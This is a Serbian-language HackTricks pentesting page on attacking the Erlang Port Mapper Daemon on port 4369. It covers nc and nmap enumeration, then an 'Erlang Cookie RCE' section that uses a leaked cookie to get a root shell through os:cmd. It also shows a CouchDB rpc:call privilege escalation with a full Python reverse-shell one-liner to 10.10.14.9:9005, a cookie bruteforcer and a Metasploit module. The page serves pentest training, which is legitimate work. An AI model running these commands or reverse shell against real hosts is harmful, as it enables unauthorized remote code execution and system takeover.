6.6 KiB
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Erlang Port Mapper Daemon (epmd) služi kao koordinator za distribuirane Erlang instance. On je odgovoran za mapiranje simboličkih imena čvorova na mašinske adrese, osiguravajući da je svako ime čvora povezano sa određenom adresom. Ova uloga epmd-a je ključna za besprekornu interakciju i komunikaciju između različitih Erlang čvorova preko mreže.
Podrazumevani port: 4369
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
Ovo se podrazumevano koristi na instalacijama RabbitMQ i CouchDB.
Enumeracija
Ručno
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses
Automatsko
Automatsko otkrivanje Erlang Port Mapper Daemon (EPMD) može biti korisno prilikom pentestiranja mrežnih usluga. EPMD je servis koji se koristi za upravljanje i mapiranje Erlang procesa na mreži. Ovaj servis je zadužen za registraciju Erlang čvorova i omogućava komunikaciju između njih.
Da biste automatski otkrili EPMD, možete koristiti alat poput Nmap-a. Nmap je popularan alat za skeniranje mreže koji može otkriti otvorene portove i identifikovati servise koji rade na tim portovima.
Kada koristite Nmap za otkrivanje EPMD-a, možete koristiti sledeću komandu:
nmap -p 4369 <cilj>
Ova komanda će skenirati ciljni sistem i proveriti da li je port 4369 otvoren. Ako je port otvoren, to ukazuje na to da je EPMD aktivan na ciljnom sistemu.
Nakon što otkrijete EPMD, možete iskoristiti različite tehnike za dalje pentestiranje. Na primer, možete pokušati da izvršite napad poput Erlang Distribution Protocol (EPMD) leak-a, koji omogućava napadaču da dobije informacije o Erlang čvorovima na mreži.
Važno je napomenuti da je pentestiranje mrežnih usluga legalno samo ako imate dozvolu vlasnika sistema. Uvek se pridržavajte etičkih smernica i zakona prilikom izvođenja bilo kakvih pentestiranja.
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
| epmd-info:
| epmd_port: 4369
| nodes:
| bigcouch: 11502
| freeswitch: 8031
| ecallmgr: 11501
| kazoo_apps: 11500
|_ kazoo-rabbitmq: 25672
Erlang Cookie RCE
Udaljena veza
Ako možete procuriti autentifikacijski kolačić, moći ćete izvršiti kod na hostu. Obično se ovaj kolačić nalazi u ~/.erlang.cookie
i generiše ga Erlang prilikom prvog pokretanja. Ako nije izmenjen ili postavljen ručno, to je nasumičan niz [A:Z] dužine 20 karaktera.
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
Eshell V8.1 (abort with ^G)
At last, we can start an erlang shell on the remote system.
(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
Više informacija na https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
Autor takođe deli program za bruteforceovanje kolačića:
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
Lokalna veza
U ovom slučaju ćemo zloupotrebiti CouchDB da bismo lokalno povećali privilegije:
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
Primer preuzet sa https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
Možete koristiti Canape HTB mašinu da biste vežbali kako da iskoristite ovu ranjivost.
Metasploit
#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce
Shodan
port:4369 "na portu"
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.